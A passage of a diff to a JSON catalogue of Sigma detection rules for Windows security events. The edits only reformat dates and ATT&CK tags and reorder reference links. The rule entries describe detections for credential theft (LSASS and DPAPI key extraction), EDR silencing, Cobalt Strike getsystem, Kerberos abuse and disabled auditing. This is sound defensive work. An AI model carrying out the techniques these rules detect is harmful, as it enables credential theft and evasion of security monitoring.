"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-24---set-a-firewall-rule-using-new-netfirewallrule", "https://malware.news/t/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/72170", "https://cybersecuritynews.com/rhysida-ransomware-attacking-windows/", + "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-24---set-a-firewall-rule-using-new-netfirewallrule", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule_wmiprvse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57454,7 +57560,7 @@ "description": "Detects activity when the settings of the Windows firewall have been changed", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/02/19", + "creation_date": "2022-02-19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_setting_change.yml", "level": "low", @@ -57465,7 +57571,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57485,7 +57591,7 @@ "description": "Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.", "meta": { "author": "frack113", - "creation_date": "2023/02/26", + "creation_date": "2023-02-26", "falsepositive": [ "Unknown" ], @@ -57499,7 +57605,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule_susp_folder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57519,7 +57625,7 @@ "description": "Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall", "meta": { "author": "frack113", - "creation_date": "2022/02/19", + "creation_date": "2022-02-19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_delete_rule.yml", "level": "medium", @@ -57530,7 +57636,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57550,7 +57656,7 @@ "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Legitimate package hosted on a known and authorized remote location" ], @@ -57559,8 +57665,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1539679555908141061", "https://twitter.com/j00sean/status/1537750439701225472", + "https://twitter.com/nas_bench/status/1539679555908141061", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" ], "tags": [ @@ -57574,7 +57680,7 @@ "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", "meta": { "author": "Florian Roth (Nextron Systems), Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", - "creation_date": "2017/08/22", + "creation_date": "2017-08-22", "falsepositive": [ "Unknown (data set is too small; further testing needed)" ], @@ -57583,13 +57689,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.003" ] }, @@ -57609,7 +57715,7 @@ "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/02/16", + "creation_date": "2019-02-16", "falsepositive": [ "Programs that connect locally to the RDP port" ], @@ -57618,14 +57724,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.lateral_movement", + "attack.defense-evasion", + "attack.command-and-control", + "attack.lateral-movement", "attack.t1090.001", "attack.t1090.002", "attack.t1021.001", @@ -57662,7 +57768,7 @@ "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/07", + "creation_date": "2020-06-07", "falsepositive": [ "Unknown" ], @@ -57696,7 +57802,7 @@ "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", "meta": { "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unknown" ], @@ -57709,8 +57815,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.t1558.003" ] }, @@ -57730,7 +57836,7 @@ "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -57743,7 +57849,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -57772,7 +57878,7 @@ "description": "Detects non-system users performing privileged operation os the SCM database", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "creation_date": "2019/08/15", + "creation_date": "2019-08-15", "falsepositive": [ "Unknown" ], @@ -57785,7 +57891,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -57805,7 +57911,7 @@ "description": "Alerts on Metasploit host's authentications on the domain.", "meta": { "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", - "creation_date": "2020/05/06", + "creation_date": "2020-05-06", "falsepositive": [ "Linux hostnames composed of 16 characters." ], @@ -57818,7 +57924,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -57838,7 +57944,7 @@ "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "meta": { "author": "OTR (Open Threat Research)", - "creation_date": "2018/11/28", + "creation_date": "2018-11-28", "falsepositive": [ "Domain Controllers acting as printer servers too? :)" ], @@ -57848,12 +57954,12 @@ "logsource.product": "windows", "refs": [ "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -57873,7 +57979,7 @@ "description": "Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.\n", "meta": { "author": "Thodoris Polyzos (@SmoothDeploy)", - "creation_date": "2024/01/29", + "creation_date": "2024-01-29", "falsepositive": [ "Unknown" ], @@ -57886,7 +57992,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hktl_edr_silencer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -57906,7 +58012,7 @@ "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Legitimate use of remote PowerShell execution" ], @@ -57939,7 +58045,7 @@ "description": "An attacker can use the SID history attribute to gain additional privileges.", "meta": { "author": "Thomas Patzke, @atc_project (improvements)", - "creation_date": "2017/02/19", + "creation_date": "2017-02-19", "falsepositive": [ "Migration of an account into a new domain" ], @@ -57953,7 +58059,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1134.005" ] }, @@ -57973,7 +58079,7 @@ "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/09", + "creation_date": "2022-05-09", "falsepositive": [ "Legitimate used of encrypted ZIP files" ], @@ -57986,7 +58092,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -58006,7 +58112,7 @@ "description": "Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.\n", "meta": { "author": "@BarryShooshooga, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unknown" ], @@ -58019,7 +58125,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_access.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -58039,7 +58145,7 @@ "description": "Detects WRITE_DAC access to a domain object", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Unknown" ], @@ -58048,13 +58154,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/library/windows/active_directory_replication.html", - "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html", "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html", + "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html", + "https://threathunterplaybook.com/library/windows/active_directory_replication.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222.001" ] }, @@ -58074,7 +58180,7 @@ "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", "meta": { "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", - "creation_date": "2020/08/06", + "creation_date": "2020-08-06", "falsepositive": [ "Unknown" ], @@ -58088,7 +58194,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -58108,7 +58214,7 @@ "description": "Detects service ticket requests using RC4 encryption type", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/02/06", + "creation_date": "2017-02-06", "falsepositive": [ "Service accounts used on legacy systems (e.g. NetApp)", "Windows Domains with DFL 2003 and legacy systems" @@ -58123,7 +58229,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -58143,7 +58249,7 @@ "description": "Detects execution of Impacket's psexec.py.", "meta": { "author": "Bhabesh Raj", - "creation_date": "2020/12/14", + "creation_date": "2020-12-14", "falsepositive": [ "Unknown" ], @@ -58152,11 +58258,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -58176,7 +58282,7 @@ "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Update the excluded named pipe to filter out any newly observed legit named pipe" ], @@ -58189,7 +58295,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -58209,7 +58315,7 @@ "description": "Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "Unknown" ], @@ -58223,7 +58329,7 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1053.005" ] @@ -58244,7 +58350,7 @@ "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", "meta": { "author": "Orlinum , BlueDefenZer", - "creation_date": "2021/11/17", + "creation_date": "2021-11-17", "falsepositive": [ "Administrator activity", "Proxy SSL certificate with subject modification", @@ -58259,8 +58365,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.credential_access" + "attack.privilege-escalation", + "attack.credential-access" ] }, "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", @@ -58270,7 +58376,7 @@ "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", "meta": { "author": "Tim Rauch (Nextron Systems), Elastic (idea)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Unknown" ], @@ -58279,13 +58385,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", "https://twitter.com/SBousseaden/status/1490608838701166596", "https://www.x86matthew.com/view_post?id=create_svc_rpc", + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543" ] }, @@ -58305,7 +58411,7 @@ "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/02/19", + "creation_date": "2017-02-19", "falsepositive": [ "User using a disabled account" ], @@ -58314,15 +58420,15 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625", "https://twitter.com/SBousseaden/status/1101431884540710913", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access", + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access", "attack.t1078" ] }, @@ -58342,7 +58448,7 @@ "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", "meta": { "author": "Teymur Kheirkhabarov, Ecco, Florian Roth (Nextron Systems)", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unlikely" ], @@ -58351,12 +58457,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1134.001", "attack.t1134.002" ] @@ -58384,7 +58490,7 @@ "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/06/20", + "creation_date": "2019-06-20", "falsepositive": [ "Unknown" ], @@ -58397,7 +58503,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.004" ] }, @@ -58417,7 +58523,7 @@ "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -58430,7 +58536,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -58459,7 +58565,7 @@ "description": "Detects the installation of a well-known TAP driver service. This could be a sign of potential preparation for data exfiltration using tunnelling techniques.\n", "meta": { "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate OpenVPN TAP installation" ], @@ -58492,7 +58598,7 @@ "description": "Detects certificate creation with template allowing risk permission subject", "meta": { "author": "Orlinum , BlueDefenZer", - "creation_date": "2021/11/17", + "creation_date": "2021-11-17", "falsepositive": [ "Administrator activity", "Proxy SSL certificate with subject modification", @@ -58507,8 +58613,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.credential_access" + "attack.privilege-escalation", + "attack.credential-access" ] }, "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", @@ -58518,7 +58624,7 @@ "description": "Detects locked workstation session events that occur automatically after a standard period of inactivity.", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", + "creation_date": "2019-03-26", "falsepositive": [ "Likely" ], @@ -58528,9 +58634,9 @@ "logsource.product": "windows", "refs": [ "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_workstation_was_locked.yml" ], "tags": [ @@ -58544,7 +58650,7 @@ "description": "Detects read access to a domain user from a non-machine account", "meta": { "author": "Maxime Thiebaut (@0xThiebaut)", - "creation_date": "2020/03/30", + "creation_date": "2020-03-30", "falsepositive": [ "Administrators configuring new users." ], @@ -58553,10 +58659,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/win32/adschema/attributes-all", - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662", "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662", "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "https://learn.microsoft.com/en-us/windows/win32/adschema/attributes-all", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" ], "tags": [ @@ -58580,7 +58686,7 @@ "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -58593,7 +58699,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -58622,7 +58728,7 @@ "description": "Detects the creation of a user with the \"$\" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms.\n", "meta": { "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -58635,7 +58741,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -58655,7 +58761,7 @@ "description": "Detects suspicious processes logging on with explicit credentials", "meta": { "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Administrators that use the RunAS command or scheduled tasks" ], @@ -58669,7 +58775,7 @@ ], "tags": [ "attack.t1078", - "attack.lateral_movement" + "attack.lateral-movement" ] }, "related": [ @@ -58688,7 +58794,7 @@ "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", "meta": { "author": "frack113", - "creation_date": "2022/10/14", + "creation_date": "2022-10-14", "falsepositive": [ "Unknown" ], @@ -58697,12 +58803,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4649", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4649", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558" ] }, @@ -58722,7 +58828,7 @@ "description": "Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.\n", "meta": { "author": "@neu5ron, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2017/11/19", + "creation_date": "2017-11-19", "falsepositive": [ "Unknown" ], @@ -58735,7 +58841,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -58755,7 +58861,7 @@ "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", "meta": { "author": "frack113", - "creation_date": "2022/10/14", + "creation_date": "2022-10-14", "falsepositive": [ "Unknown" ], @@ -58764,9 +58870,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4634", - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4647", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4647", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4634", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" ], "tags": [ @@ -58790,7 +58896,7 @@ "description": "Detects remote service activity via remote access to the svcctl named pipe", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Unknown" ], @@ -58799,11 +58905,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", + "https://web.archive.org/web/20230329155141/https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.persistence", "attack.t1021.002" ] @@ -58824,7 +58930,7 @@ "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", "meta": { "author": "Cian Heasley", - "creation_date": "2020/06/10", + "creation_date": "2020-06-10", "falsepositive": [ "Unknown" ], @@ -58838,7 +58944,7 @@ ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.t1040" ] }, @@ -58858,7 +58964,7 @@ "description": "Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/02/10", + "creation_date": "2017-02-10", "falsepositive": [ "Faulty legacy applications" ], @@ -58871,7 +58977,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1212" ] }, @@ -58891,7 +58997,7 @@ "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", "meta": { "author": "Mauricio Velazco, Michael Haag", - "creation_date": "2021/09/02", + "creation_date": "2021-09-02", "falsepositive": [ "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." ], @@ -58900,13 +59006,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/topotam/PetitPotam", "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", + "https://github.com/topotam/PetitPotam", "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1187" ] }, @@ -58926,7 +59032,7 @@ "description": "Detects known sensitive file extensions accessed on a network share", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Help Desk operator doing backup or re-imaging end user machine or backup software", "Users working with these data types or exchanging message files" @@ -58960,7 +59066,7 @@ "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/06/20", + "creation_date": "2019-06-20", "falsepositive": [ "Unknown" ], @@ -58973,7 +59079,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -58993,7 +59099,7 @@ "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/05", + "creation_date": "2020-06-05", "falsepositive": [ "Unknown" ], @@ -59002,20 +59108,20 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", - 